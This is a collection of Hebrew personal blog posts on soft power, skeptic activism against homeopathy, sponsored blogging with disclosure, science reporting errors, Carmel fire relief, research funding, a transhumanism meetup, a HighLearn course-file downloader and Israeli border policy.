האתר של מכון ראות מציג הסבר יפה על ההשוואה בין עוצמה רכה (השפעת תרבויות בעיקר) לבין עוצמה קשה (כוח צבאי, כלכלי).
לראשונה נתקלתי במושג הזה דרך הרצאתו של ששי טהארור ב: מדוע על מדינות לשאוף לעוצמה "רכה" שם הוא מתאר (בקצת פחות מ- 20 דקות) את גאוותו מהתרבות ההודית:
לכל אשר כתבתי יש השלכות די ישירות עלינו, הישראלים.
כיצד? אני חושב שזה די ברור… ישראל נתונה במתקפה תקשורתית כבר שנים רבות ואני מאמין שכולנו מרגישים (כנראה שדי בצדק, אפילו מבלי שבדקתי את הסטטיסטיקות של הדבר), שישראל איננה מדינה פופולארית במקומות רבים בעולם. אך במקביל לזה מה משאיר אותנו באיזור? הרבה דברים, אבל אחד מהם זה האהבה של הקהילה היהודית (וחלקים מהנוצרית) לישראל. מה שמוביל לתירגום ישיר של עוצמה רכה לעוצמה קשה (תמיכה אמריקאית בצבא הישראלי).
להפריד ולומר שזה נובע אך ורק מאהבה, ולא אינטרסים, יהיה נאיבי. אבל עדיין קשור (לתחושתי) למציאות.
וזה מוביל לשאלה – מה עוד אפשר לעשות? איזה עוד דברים יכולים להוביל לכך שהתרבות הישראלית תהיה מוכרת (ותשפיע) על אנשים אחרים בעולם ובכך תעצים את העוצמה הרכה של ישראל?
אני מכיר לכך שתי תשובות: התשובה הראשונה היא שהמדינה תשקיע (כסף) בתרבות בישראל. והשניה היא שאזרחים, כמוך וכמוני, יספרו לעולם שאנו קיימים ויראו שאנחנו בני אדם וראוי להעריך (ואפילו לחבב) אותנו. ואגב, האפשרות השניה (דהיינו, לייצר נוכחות אינטרנטית מעניינת של עצמכם) היא בעיני ראויה להשקעה לא רק מסיבות פתריוטיות אלא גם (ובעיקר) כי זה כיף ומעניין ומתגמל בהרבה דרכים.
מלבד הפרוייקט של זיו, יש אינספור פרוייקטים. לדוגמא, דבורה גלילי (אישתי המדהימה) עושה זאת דרך זה שהיא כותבת (ומפיקה פודקסטים עם כוריאגרפים) על המחול בישראל (בשפה האנגלית) בבלוג ("מגאזין אינטרנטי") שהיא פתחה בשם Dance In Israel, אחי שוקי יצר את The hummus blog ואני מנסה לספק את תרומתי הצנועה דרך כתיבה על R and Statistics (למרות שאני מסופק שזה משפיע על אותה כמות של אנשים כמו הבלוגים של אישתי ושל אחי).
אך בניגוד לבלוגים מטופחים, יש משהו מאד ישיר בשימוש בסרטים (כפי שהמחישה ג'אנה במישאלת הטד שלה). מה שמוביל אותי לנקודה ממנה התחלתי והוא שהפרוייקט שזיו מתחיל הוא בעיני בעל פונציאל פנטסטי. אז לכו, תפיצו תעקבו ותצטרפו:
www.bitsofisrael.com
10:51 זוהי קריאתו של לארי לסיג (אתם יודעים, האדם שהמציע את רשיון השימוש CC…), מלפני מספר ימים בלבד (17.02.11).
האיש קורא לאזרחים לקחת את הדמוקרטיה שלהם בחזרה. ממי? מהעשירים אשר מבצעים מניפולציה על שיטת הממשל באמצעות הון.
איך לעשות זאת? גם לאחר שהקשבתי להרצאתו אין לי שמץ של מושג. אבל אני מוכרח להודות, ההרצאה הזו עושה חשק לעשות משהו, אילו רק היה אפשר (אה רגע, מה לגבי המאבק על תמלוגי הגז?)
10:06 כשהייתי ילד, אני עוד זוכר שהתחילו לשדר את "מסע בין כוכבים – הדור הבא". ואני זוכר כיצד אחד הדברים שהפרידו בין התוכנית החדשה לישנה היו ממשקי המשתמש שריצפו את כל חללית האנטרפרייז. מדובר היה באינספור מסכים שקופים שהיו חלק מהמסדרות, חלק מהמעלית, חלק מכל מקום שבו היה משטח. בתור ילד זה נראה לי מגניב.
בתור מבוגר (שעד לפני שנתיים עוד התלהב מהיכולת לחבר שני מסכים למחשב אחד) אני מבין שהיוצרים של מסע-בין-כוכבים אפילו לא גירדו את מה שצופן לנו העתיד.
הנה הדגמא יותר טובה:
הסרטון והיצגי נתונים אינטראקטיביים – הדבר שלא הדגימו בסרטון…מרתק לעבור על הסרטון ולנסות לזהות כמה אלמנטים של אינטראקציה עם נתונים מופיעים בו. מעניין לשים לב שהאלמנטים המרכזיים שמצליחים להציג בסרטון הם של הצגת נתונים, שינוי נתונים מוצגים, וסוג השליטה בהיצג הנתונים (הסרטון מדגים את שלושתם). מעניין להבחין שהסרטון לא מדגים (כמעט בכלל) איתור של נתונים (מלבד החלק שבו רואים מישהו משתמשת במפה ברחוב, אבל לא רואים אותה מוצאת את המפה). זה מעניין מכיוון שזה ממחיש עד כמה הקונספט של איתור נתונים (או ליתר דיוק של מציאה וחיבור בין נתונים שונים – דהיינו linking ו- brushing) איננו קונספט קל להמחשה בסרטון כזה. רוב ההיצגים שהודגמו בסרטון היו של מעבר מהיצג אחד להיצג הבא (בצורות מאד אלגנטיות, אבל של מעבר). בעיני, זה מרתק.
(לינק תודה: תודה לאבא שלי ששלח לי את הסרטון)
22:58 ההפגנה עליה כתבתי לפני מספר ימים הייתה כייפית.
השתתפו בה כמה עשרות אנשים, בעיקר מ"קהילת הספקנים בישראל" (פעם ראשונה ששמעתי שיש קבוצה כזו בארץ).
כולל אותי (הבחור שמחזיק כוס פלסטיק ביד אחת, ושקית עם קלמנטינות ביד השניה).
יש עוד תמונות כאן, ויש גם סרטון קצר (שבו אני לא מופיע), אבל רואים את האנשים בכיכר שותים מנה קטלנית של רמדי (שלא נעשה בצורה הכי מקצועית, וגם היה גשם שנשפך לתוך הרמדי, אבל שויין):
בינתיים גם התחלתי שירשור בנושא בפורום לרפואה משלימה בתפוז, לא נראה שזה עשה טוב במיוחד לאף אחד. לא נורא, לומדים.
וגם כתבתי פוסט אורח בבלוג המיגרנה (של אחי שוקי), על איך הומאופתיה (תתפלאו, לא) עוזרת למיגרנות.
מה הלאה? שאלה מצויינת, אני אספר לכם כשאדע בעצמי.
13:36 
Credit: xkcd (Dilution)
הומיאופתיה היא אחת מאותם תופעות תרבותיות מעניינות. מדובר ב"שיטת ריפוי אלטרנטיבית" אשר זכתה לאינספור מחקרים מדעיים שיטתיים אשר מסקנתם הגורפת הייתה שמדובר בשטויות. ואף על פי כן, מספר רב של אנשים משכילים בוחרים להתעלם מהידע האמפירי שנאסף וללכת עם ה"אמונות" שלהם.
אתם בוודאי שואלים "אז מה הבעיה בזה? שיאמינו". אני שמח ששאלתם. בתימצות, הסיבה שאני נגד היא כיוון שמדובר בפסאבדו מדע לכל דבר, שמבזבז להרבה אנשים זמן וכסף (במקום להשקיע אותו בדברים רציניים יותר, כמו הניסיון לבצע מחקר שיאפשר הארכת חיים רדיקלית). רוצים הסבר יותר שיטתי? תוכלו לקרוא אותו כאן.
אם אתם מתרעמים מהנושא, ורוצים לפגוש עוד אנשים שכמותכם, למה שלא תבואו להפגנה ביום שישי הקרוב (04.02.2011) בשעה 10:23 בכיכר דיזינגוב? עוד פרטים על ההפגנה מופיעים כאן.
המטרה היא הבאה:
"מטרתו של קמפיין 10:23 הבינלאומי הוא להגביר את המודעות למהי באמת הומאופתיה. נספר לך איך אפשר להראות שהיא לא עובדת, למה טענותיהם של ההומאופתים הן בלתי אפשריות, ולמה זה חשוב."
רק הערה לגבי המחקר המדעיים: היו כבר אינספור מחקרים שבדקו (מאד מאד בהרחבה) את היעילות של טיפולים הומיאופטיים (כולל ניסויים קליניים מבוקרים). יוסי לוי (בבלוגו) מפנה למאמר המסכם את המחקר הבא מה- lancet) :
[www.ncbi.nlm.nih.gov]
אם אתה מחפש עוד מחקרים, יש עוד אינספור בויקיפדיה האנגלית:
[en.wikipedia.org] ואם לצטט את ההתחלה:
Homeopathy's efficacy is unsupported by the collective weight of modern scientific research.
לצורך ההמחשה של ההבדל. המאמר על רפואה-סינית/דיקור, מתחיל במשפט:
The effectiveness of acupuncture remains controversial in the scientific community
יחי ההבדל העצום בין "שנוי במחלוקת" (דיקור) לבין "כל המדענים חושבים שזה שטויות" (במקרה של הומיאופתיה).
מתוך סקרנות, ביררתי גם לגבי שיטת פלדנקרייז (גם כן שיטה שמוגדרת כ"אלטרנטיבית"). שם יש פחות מחקרים מדעיים, אבל השניים שמצאתי מעידים על אפקט מובהק של התערבות באמצעות השיטה (הוספתי את שני המאמרים הללו בערך פלדנקרייז בוויקיפדיה האנגלית)
(פוסט דומה גם פורסם בבלוג התאום שלי: המדריך לטרמפיסט בסטטיסטיקה)
שתי הערות לסיום:
הערה 1: חלקכם עשויים לשאול את עצמם איך אני מתנגד להומיאפוטיה אבל תומך במחקר להארכת חיים רדיקלית. מה פתאום האחד נראה לי הזוי, והשני נראה לי רצוי. אז אתם מוזמנים לתחקר אותי בנושא בתגובות, אבל אם לתמצת: אני לא מאמין שהארכת חיים רדיקלית תתרחש במהלך חיי, אלא אני חושב שזוהי מטרה שראוי לשאוף ולחקור אותה. אני מקווה שההבדל ברור, ואם לא – אתם מוזמנים לשאול.
הערה 2: יהיו שיטענו שיש דברים יותר דחופים להפגין עליהם. לדוגמא, להתנגד לשילטון הדיקטטורי והמדכא של מובארק במצרים. עם זאת, כנגד שלטון מובארק יהיו שיטענו שהוא שומר על יציבות איזורית, ולמי איכפת מכמה אזרחים שסובלים. ברמה האישית, לי איכפת מהכמה אזרחים שסובלים (למרות שאיני יודע, ייתכן ואכן דמוקרטיה מצרית רק תסתיים בשלטון דתי קיצוני שיסב יותר נזק לאזרחים מאשר תועלת, מי יודע). ועם זאת, המורכבות הפוליטית שמעבר לים, אינה מבטלת את הצורך להעלות מודעות לגבי הבורות שמתרחשת בתחום ההומיאופתיה בארצנו, ורק צפוי שמישהו כמוני (שמבין במחקר מדעי יותר משהו מבין בפוליטיקה איזורית), יטרח להעלות את הנושא הזה בבלוגו.
ובשביל הכיף, כיצד תראה סדרת טלויזיה על חדר ניתוח שמנוהל על ידי הומיאופתים:
(והנה עוד כמה סרטונים)
1:46 מודל ה-Pay Per Post עשה עלייה די כושלת, בעיקר בגלל היעדר הגילוי הנאות. מודל החסויות צפוי לדעתי להצלחה גדולה יותר מסיבה פשוטה: המפרסם לא חייב להיות מושא הכתבה
מאת: שוקי גלילי
——————-
נתחיל בזה: מישהו משלם על הפוסט שהתחלתם לקרוא זה עתה. למישהו הזה קוראים "המקצוענים" ומדובר בחברה שמפעילה אתר בעלי מקצוע (מדריך מסווג לחיפוש אינסטלטורים, חשמלאים, טכנאים וכו').
מכיוון שהם לקוחות שלי, אתם בוודאי לא מצפים שאהיה אובייקטיבי בחוות הדעת שלי עליהם וזה בסדר גמור – הפוסט הזה לא אמור לעסוק במקצוענים, שמשלמים על כתיבתו תמורת אזכור וקישור והתייחסות קצרה לעובדה שלאחרונה עלתה גירסה חדשה, משופרת ומעוצבת של אתר החברה.
מה שיפה כאן הוא שאני לא "נאלץ" לכתוב את הפוסט הזה, איש לא אמר לי מה צריך להיות כתוב בו, ולמעשה, קרוב לוודאי שפוסט דומה לזה היה נכתב ממילא – ובכל זאת יש מישהו שבחר לשלם על הזמן שאני מקדיש לכתיבתו.
אתם יכולים לקרוא לזה פרובלוגינג; אתם יכולים לראות בזה, אם תרצו, פתח ליצירת סוג חדש של עיתונות.
מפרסום סמוי לגילוי נאותזה נשמע דומה, אבל זה שונה מאד, מתופעת ה"פרסום הסמוי" בבלוגים עליה דיווח עידו קינן לפני כשנה וחצי בכתבתו "קנה לך בלוגר" בעין השביעית.
שונה, כי אין כאן שום דבר סמוי – אדרבא, פתחתי בכך שאמרתי מי משלם על הפוסט הזה (או למעשה, על הזמן שאני מקדיש לכתיבתו). שונה, כי אני לא מחווה דעה על החברה ועל שירותיה (אם ממש חייבים, אני יכול לומר שהם אנשים נחמדים).
דווקא בגלל זה, הערך שנוצר עבור הלקוח שלי הוא גדול יותר והוא לא מסתכן ב"ריקושטים", בפגיעה תדמיתית כתוצאה מחשיפה כמו זו של עידוק. או בבוז מצד קוראים שהם צעירים אך לא אהבלים, וקולטים שמנסים לעבוד עליהם מהשורה הראשונה.
האזכור שווה כסףזה דומה קצת למה שקוראים באנגלית Pay Per Post – במקור, שמו של אחד האתרים הראשונים שקמו כדי לקשר בין בלוגרים לעסקים שרוצים שיכתבו עליהם ועל המוצרים שלהם.
התנאים לפעילות כזו בדרך-כלל מאד פשוטים: העסק משמש כספונסר, שמשלם על פוסטים שמזכירים אותו ו/או את מוצריו. בדומה לפרסומת במדיה הכתובה המסורתית, ישנה הבחנה ברורה (או לפחות אמורה להיות כזו), בין התוכן ה"מערכתי" לבין הפרסומת.
בישראל, כמו בישראל, לעיתים קרובות הגבול מטשטש והגילוי הנאות מושמט, בתקווה להוליך שולל את הקורא ולגרום לו לחשוב שהוא קורא תוכן אובייקטיבי. זה לא רק מעיד על זלזול בתבונה של הקוראים, אלא בעיקר על קוצר הראייה של מי שמשלם ועל האופורטוניזם של המתווכים והיוזמים של פעילויות כאלה.
לא צריך לרבע את המעגלהגילוי הנאות הוא לא פתרון קסם, אבל הוא פתרון הוגן. כשאני אומר לכם מה המוטיבציות שלי ועד היכן מגיעה הנגיעה האישית למושא הפוסט, המידע הרלוונטי מונח לפניכם ואתם יכולים להחליט בכוחות עצמכם האם אני אמין בעיניכם או לא.
אבל אין צורך אפילו בזה; אני לא צריך לכתוב באריכות על הספונסר של הפוסט או להמליץ על שירותיו ומוצריו כדי שההוצאה תשתלם לו. האזכור והקישור הם כל מה שהוא מבקש.
מנקודת המבט של הבלוגרים, מודלים של חסויות ו-Pay Per Post הם פתרון מצוין, בבחינת זה נהנה וזה אינו חסר. זה כלכלי למפרסם, משתלם לבלוגר, ואיש אינו צריך לוותר על מה שהוא מאמין בו.
המפרסם מקבל מעמד של "פטרון אמנויות", כי הוא מממן פעילות שבאופן רגיל נעשית באופן וולנטרי לחלוטין ובלתי משתלם בעליל. התשלום, יש לומר (לפחות במקרה שלי), הוא הוגן מזה שמשלמים בעיתונות.
פרובלוגינג אידיאולוגיעיתונאים אינם יכולים – גם אתית וגם חוקית – לקבל כסף ממושא הכתיבה שלהם. כמובן, זה סידור נוח מאד מבחינת המו"לים, ששמחים לקחת על עצמם את העבודה המלוכלכת וגם את רוב הכסף.
בארץ, באופן ספציפי, הם גם עושים זאת בחזירות אמיתית ומדרדרים את עובדיהם, העיתונאים, למעמד מקצועי וסוציו-אקונומי נמוך יותר ויותר, משנה לשנה.
עיתונאים בדימוס, יכולים אמנם להרוויח יפה מכתיבה שיווקית לצורותיה, אבל זה הרבה פחות כיף מלכתוב על מה שמעניין אותך ומלהביע את דעתך – שזה הגזר המסורתי שמציעה העיתונות.
היתרון במודלים של מכירת חסויות, הוא שהמשלם אינו חייב להיות מושא הכתיבה. לדוגמא, חברת המקצוענים והאתר המשופר שלה (שמציע פרטים של בעלי מקצוע), אינם נושא הפוסט הזה.
זהו פוסט שממילא הייתי רוצה לכתוב ולכן אני שמח שנמצא לו ספונסר. אם הוא יפיק תועלת מכך, לפחות זה ייעשה בצורה גלויה ומכובדת ובתשלום נאות, מה שקשה לומר על מה שנעשה היום בעיתונות.
1:09 בקומיקס אינטרנטי כלשהו פורסמה בזמנו הקריקטורה הבאה שמתארת את המעגל שעובר מחקר מדעי, מרגע פירסומו ועד שהוא משפיע על הציבור הרחב. בזמנו חשבתי שהקריקטורה הזו מצחיקה. עכשיו אני כבר לא חושב כך:
הסיפור שמתואר בקריקטורה היא בדיוק מה שקרה לאחרונה לגבי הקשר שבין עוצמת התאורה בחדר השינה לבין הסיכוי לסרטן השד אצל נשים.
הכתבה פורסמה בעיתון מדעי. במקביל הייתה הודעה לעיתונות על תוצאות המחקר בבלוג של מערך ההסברה של אוניברסיטת חיפה (עובדים עם וורדפרס, כל הכבוד). וזה הסתיים (אני מקווה) בכתבה שפורסמה בווינט. הבעיה היא שתיאור המאמר, שפורסם בווינט, שגוי. כתבתי על זה כמה מילים בבלוג הסטטיסטיקה שלי (וגם בטוויטר/פייסבוק). אם לסכם במשפט: המאמר בווינט מתחיל במילים "כדאי להחשיך את חדר השינה". משפט שהוא פשוט לא נכון. המחקר שפורסם הוא:
כשכתבתי זאת, האנשים שהגיבו אלי השיבו לי "מה, זה מפתיע אותך שכותבים טעויות/שטויות על מחקר מדעי בעיתונות?"
והתשובה היא שכן, זה קצת מפתיע אותי. איכשהו, בתמימותי, חשבתי שתיאור של מחקר בעיתון אולי לא יצליח לתאר את כל המורכבות, אבל יש מרחק בין זה לבין לכתוב על תוצאה מסויימת שהיא קיימת, כשבמאמר המקורי נכתב במפורש שהיא לא קיימת.
ומה המשמעות של זה? המשמעות היא שיש לנו אוכלוסיה שלמה של אנשים שלא מבינים מה המדענים אומרים להם. בין השאר כי הכתבים בעיתונות לא מבינים מה המדענים אומרים להם. מה שאומר שהאוכלוסיה הזו לא תדע לקבל החלטות על בסיס המידע המדעי שנאסף.
אני לא מצליח לחשוב על שום תשובה לבעיה הזו מלבד חינוך. שיהיה חינוך מדעי שילמד מהוא מחקר מדעי כמותי (נו, איך קוראים למקצוע הזה, אה כן – סטטיסטיקה!)
כבר כתבתי על זה בזמנו, בשנת 2009 ולפני כן ב- 2007, בפוסטים:
כנראה שנוסיף את זה לרשימת המטלות שלי לאחרי שאסיים את התואר השני שלי בביוסטטיסטיקה.
אם יש לכם דעות מעניינות להוסיף, התגובות לרשותכם.
12:35 כבר אינספור פיקסלים ריצדו סביב הטרגדיה של השריגה באזור הכרמל. אתר ווינט סיפק ריכוז מכובד של התארגנויות אינטרנטיות לעזרה.
התארגנות אחת, ראויה ביותר, לא צויינה. והיא זו של (חברי היקר) ניר אסתרמן.
אני מביא לכם את פנייתו כפי שנשלחה אלי במייל, אנא העבירו הלאה:
****
סיוע בעקבות השריפה ביערות הכרמל
השריפה הגדולה ביערות הכרמל עדיין משתוללת.
עשרות אנשים נספו, ואלפים רבים נאלצו לעזוב את בתיהם, חלקם בידיעה שכנראה לא יהיה להם בית לחזור אליו . אנשים אלו חווים ברגעים אלו קושי גדול, עד כדי טראומה של ממש, והם זקוקים לעזרה.
אם אתם מכירים אנשים, משפחות וילדים שזקוקים לעזרה, אנא העבירו להם את רשימת המטפלים.
רשימת מטפלים מתנדבים
במהלך היומיים האחרונים ריכזנו רשימה של כ80 מטפלים בעלי ניסיון בטיפול בטראומה ופוסט טראומה, אשר התנדבו לתרום מספר טיפולים בשבוע במשך השבועות הקרובים, עבור נפגעי השריפה.
הרעיון הוא לאפשר למטפלים לתרום במסגרת הפעילות השוטפת שלהם, ולקבל ללא תשלום מספר מטופלים בשבוע בקליניקות שלהם.
שמות המטפלים, תחומי הטיפול, מיקומם הגיאוגרפי וטלפון ליצירת קשר, מפורטים כולם ברשימה שנמצאת בלינק הבא:
http://www.nirest.co.il/sale.asp?id=104
הרשימה מתעדכנת ללא הרף במטפלים נוספים המעוניינים לתרום.
אנא, העבירו את הלינק הלאה, לחברים שלכם שאולי זקוקים לעזרה, במייל, בפייסבוק, בבלוגים… בכל דרך שתאפשר לכמה שיותר אנשים לקבל את העזרה הזו.
תודה רבה!
ובתקווה שנעזור לכמה שיותר אנשים.
ניר אסתרמן
12:11 הטקסט הבא נכתב בידי ד"ר שמואל גורדון. כל כך נעצבתי למקרא דבריו שהחלטתי לפרסם מחדש פה (בקרוב, לכשאתפנה, גם יהיה לו בלוג, ואז אשמח פשוט להפנות את כולם לשם)
* * *
מבט אישי 305: לפטר את כל צמרת האוצר
בעולם המודרני כבר מבינים שמחקר ותוצאותיו מחזקים את הכלכלה הלאומית ומכפילים את ההקצאות למחקר. ואילו כאן, קבוצה קטנה של פקידים אטומי לב וקהי שכל מנסרים בעקביות את הגזע שגידלו לפניהם
על מה חשבו פקידי האוצר כאשר החליטו להטיל מס על מענקי מחקר? על מי חשבו להערים כאשר דחפו את הסעיף הזה בחוק ההסדרים אי שם לאותיות הקטנות? גם הם למדו לעבוד עלינו כמו בחוזים לקניית דירה או לנסיעת טיול ולהוסיף "אותיות קטנות" שכובלות אותנו.
מחקרים רבים בישראל אינם אלטרואיסטים אלא אמורים פשוטו כמשמעו להציל חיים, לגדל תעשיות שמייצאות במאות מליוני דולרים או נמכרות במליארדים. המחקרים הללו מסייעים לשמור על בטחון ישראל, על חיי אזרחיה, אריכות ימי ילדיה ואיכות חייהם. אכן יש לפטר את כל צמרת האוצר
המחקר המדעי הוא שמייצר ומחזיק במדינה את האוצר החיוני של מוחות מוכשרים ביותר בקנה מידה עולמי. האם שר האוצר חושב שבעלת פרס נובל הישראלית היתה זוכה בפרס לו הוטל מס על המענקים שקיבלה? לא, היא היתה עוברת לארה"ב, כה פשוט.
האם ברצונם לחתוך את המחקר בטכניון שמתמקד בחזיתות הטכנולוגיה המתקדמות ביותר? האם ברצונם לחתוך את המחקר הרפואי במרכזים הרפואיים בתל-השומר, הדסה ואיכילוב? האם ברצונם להשיב את ישראל עשרים שנים לאחור ולחתוך את קידמת הטכנולוגיות שמפתחת תעשיית ההי-טק של ישראל?
מה הם חושבים לעצמם שקרן פורד, קרן רוקפלר וקרנות רבות אחרות תמשכנה לתת מענקי מחקר לחוקרים בישראל בסכומים של עשרות מליוני דולרים בשנה כאשר ידעו בכירי הקרנות ששטייניץ גוזר קופון של 30-40 אחוז או במלים פשוטות עשרות מליוני שקלים?
האם פקידי האוצר הבכירים קהי הלב ואטומי השכל אינם מבינים כי בהחלטה זו הם מסכנים את חיי ילדיהם שלהם? מי יפתח עבורם חיסונים חדשניים נגד מחלות קטלניות? ומי יפתח חיסונים נגד רעלנים המכוונים נגדנו בלוחמה ביולוגית עתידית? נשמת אפם של רופאים מצטיינים הוא המחקר הרפואי שנעשה בעיקר בסיוע מענקים של קרנות מחקר ויהודים עשירים ורחבי לב וכיס. כאשר ידלדל זרם התרומות הם פשוט יעזבו את הארץ ויעברו למרכזים רפואיים ומרכזי מחקר, שם יקבלו בזרועות פתוחות אותם ואת פרי מחקריהם. ומי יישאר לתת טיפול רפואי לילדיהם הצעירים והוריהם הזקנים? אתה שואל ונדהם ושוב שואל האם יש להם הסדרים שאינם ידועים לנו?
לו היו מטילים מס כבד של 60 אחוזים על התרומות למסעות בחירות של חברי כנסת ושרי ממשלה היו פקידי האוצר מתקבלים בברכות אך מפוטרים למחרת. לקהילת המחקר אין את הכוח לעשות זאת, הם לא ינתקו את החשמל למשרד האוצר (פעולה מועילה ויעילה מבחינה כלכלית) לכן קל לטפס עליהם. אכן פקידי האוצר אינם ראויים לשמש בתפקידם.
אפילו מבחינה כלכלית טהורה החלטה זו כושלת ושגויה. בכל בירות העולם המודרני כבר מובן וידוע, שמחקר ותוצאותיו משרתים ומחזקים את הכלכלה הלאומית. הממשלות מגדילות את ההקצאות למחקר וחלקן אף מכפילות "דולר תמורת דולר" כל מענק חיצוני. ואילו כאן, קבוצה קטנה של אנשים שאינם מבינים אפילו במקצוע שלהם מנסרים בעקביות את הגזע שגידלו לפניהם. בכירי האוצר הם חסרי לב, חסרי מעוף, חסרי הבנה אפילו בכלכלה. הם אינם ראויים לשמש בתפקידם.
נשיא המדינה, מר שמעון פרס נקט במדיניות הפוכה. הוא גידל את תעשית האלקטרוניקה חיזק את התעשיות המתקדמות ואת מרכזי המחקר ביד ויצמן ובטכניון. אולי הוא יקרא לסדר את קבוצת רואי החשבון הבינוניים שלנו – בכירי משרד האוצר. ועדיין אין בינתי תופסת הכיצד מר שטייניץ שמקורו באוניברסיטה ובמחקר נותן את ידו לשערוריה הזו.
אדוני ראש הממשלה – אתה שמנעת יוזמות כאלו שהעלו בפניך הפקידים כשהיית שר אוצר - אם טובת הכלכלה, המחקר, הבריאות והבטחון עומדת בראש מעיניך – אנא פטר את כולם.
למען השקיפות, כותב שורות אלו אינו חי על מענקים ואינו מתכוון לעשות זאת.
20:11 שלום חברים.
כפי שפורסם בבלוג הסינגולריות, בשבוע הבא יתקיים מפגש בנושא טרנסהומניזם והארכת חיים, והפעם עם דגש על סינגולריות ובינה מלאכותית (עם מרצה אורחת מארה"ב, ראו למטה בתוכניה). המפגשים הקודמים שהתקיימו בשנים האחרונות כללו תמיד אנשים מעניינים ונחמדים (שילוב משמח לכל הדעות).
תאריך המפגש הוא , 5 לנובמבר (יום שישי בעוד שבוע), בשעה 10 בבוקר.
מקום המפגש: אוניברסיטת בר-אילן. בניין כ"ץ (גם ידוע כבניין מורשת ישראל 604), בחלק הצפוני של הקמפוס, אזור "אסבסטונים", קומה שלישית, חדר סמינריונים מס' 309
תוכנית המפגש
הכניסה חופשית
וכל מי שמגיע מוזמן להביא כיבוד קל כמו שתיה, פרי, או מתוקים מהמכולת (זה לא חובה, אבל נחמד)
דף האירוע בפייסבוק (כבר 22 אישרו הגעה, 14 אולי, ו- 32 צריכים להחליט)
[www.facebook.com]
מקווים לראותכם בקרוב.
לפרטים, ניתן לחייג למארגן האירוע (וזקן השבט הטרנסהומניסטי בארץ) – איליה 0522-283-578
נ.ב: טרנסהומניסטים אינם אימורטליסטים. אנחנו לא חושבים שאם נאמין מספיק אז נחיה לנצח. אנחנו גם לא בטוחים שנחיה לנצח. אבל אנחנו מתעניינים באפשרות…
עוד על כך ניתן לצפות בראיון (כ- 7 דקות) שעשו איתי בתוכנית בוקר לפני כחצי שנה בערוץ 10:
21:31 מערכת high-learn (או highlearn, לימוד-גבוה, הילרן, היילרן, או איך שתרצו לקרוא לה) היא המערכת הנפוצה באוניברסיטאות בארץ לניהול קורסים אקדמיים.
המערכת מציעה מספר ייתרונות באירגון של קורס (הן למרצה והן לתלמידים), אך דבר אחד היא לוקה בו: המערכת לא מאפשרת להוריד את כל הקבצים השייכים לקורס מסויים בלחיצת כפתור בודד.
לשם כך, כמה מתכנתים טובי לב שיתפו פעולה ויצרו תוכנה (בקוד פתוח) בשם miner-highlearn, המאפשרת לתלמידים (סוף סוף) להוריד את כל הקבצים השייכים לקורס מסויים בלחיצת כפתור (תוך שמירה על מבני תיקיות בקורס, מבלי לפגום בשמות קבצים אשר שמורים בעברית).
את הגירסה הכי עדכנית של התוכנה ניתן להוריד מכאן.
התוכנה עודכנה לאחרונה באפריל 2010, ועובדת (נכון לכרגע) היטב (היו כמה שגיאות קלות, אבל בגדול הכל עבר חלק).
היות ומערכת ה-highlearn עוברת שינויים עם הזמן, ומי שיצר את התוכנה להורדת הקבצים כבר סיים את הלימודים – הרי שיש חשש שבעתיד התוכנה כבר לא תעבוד. אני מקווה שבשלב זה יהיו אנשים טובי לב שיסכימו לעזור לסטודנטים (אולי מישהו מעמותת המקור?!).
מצורף צילום מסך עם מספר הצעדים (לפי מה שכתבתי בפוסט) בצירוף עם חצים (לחצו על התמונה בשביל גירסה מוגדלת)
17:37 לפני למעלה משנה וחצי פרסמתי בבלוג "הערכת מצב של חמאס" בעקבות עופרת יצוקה, שתורגם על ידי ד"ר שמואל גורדון.
היום, עקב החשש מפיצוץ שיחות השלום אשר מגיע עקב סיום ההקפאה על ההתנחלויות, פניתי שוב אל ד"ר שמואל גורדון בבקשה לשמוע את דעתו על מצבנו ולאן רצוי לישראל להתקדם הלאה. להל"ן מובאים דבריו לקריאה והתייחסות:
מבט אישי 300: גבול 67 בטוח יותר מהגבול שישראל דורשת
המוקד המעשי של דיוני השלום לפי הגדרת רוה"מ הוא סידורי הביטחון. המרכיב העיקרי בהם הוא הסדרת קו הגבול בין המדינות. השאיפה היא להתוות "גבולות ברי הגנה" לפי הגדרתו של אבא אבן (נכון, היה פעם שר חוץ נבון למדינת ישראל).
ישנם שני קווי גבול שעשויים להוות קווי יחוס לקו הגבול אליו שואפת הממשלה במו"מ עם הפלסטינים. קו גבול אחד הוא הקו כיום הנמצא על הירדן, באמצעותו מונע צה"ל העברת אמצעי לחימה ובמיוחד רקטות בעלות טווח מאיום על גוש דן, נתניה, חדרה, עפולה, מודיעין לוד ורמלה. קו גבול זה מעניק עומק אסטרטגי מוגבל להגנת הבטן הרכה של ישראל.
אולם הקמת מדינה פלסטינית שתשלוט ביהודה, שומרון, ואולי ברצועת עזה, אינה עולה בקנה אחד עם גבול זה. אם כי ייתכנו סידורים להחכרת רצועה צרה לאורך הירדן למשך תקופת זמן ניכרת. רצועה זו תעניק ביטחון מסוים מפני הברחות אך לא תהווה קו גבול לעצירת עוצמות של חזית מזרחית עתידית.
גבול ייחוס אחר הוא הגבול בשנים 48-67. שישראל חייתה אתו "בשלום"; ואומנם ממשלת ישראל קבעה, תשעה ימים בלבד לאחר מלחמת ששת הימים, כי היא מוכנה להחזיר את השטחים תמורת שלום. שומה על קובעי ההחלטות ברמה הביטחונית והמדינית להשוות את הגבול שהם תובעים כעת לגבול "הישן".
הגבול לפני מלחמת ששת הימים לא היה אידיאלי. חסרונותיו העקריים היו: גבול ארוך ודי מפותל, קירבה מסוכנת לים, וחיסרון טופוגרפי מתון. חסרונות אלו היו בעלי משמעות במידה שהצבא הירדני היה נערך בגדה המערבית אולם בפועל, יהודה ושומרון היו מפורזים, הלגיון הערבי נפרס בעיקר מעבר לירדן ולא איים על ישראל במשך 19 השנים הראשונות לקיומה.
מה רוצה הממשלה כיום? היא שואפת לקו גבול דומה לגבול הישן אך יכלול שינוי בולט אחד – גוש הישובים שבמרכזו אריאל.
בירושלים יחול כנראה שינוי גדול בדמות שכונות עוטפות ירושלים כמו גבעת זאב, בצפון עד גילה בדרום, ומעלה אדומים במזרח, כמובן ללא שכונות וכפרים פלסטינים, אך סוגיית ירושלים כה ייחודית שמוטב להשאיר אותה מחוץ לדיון הביטחוני.
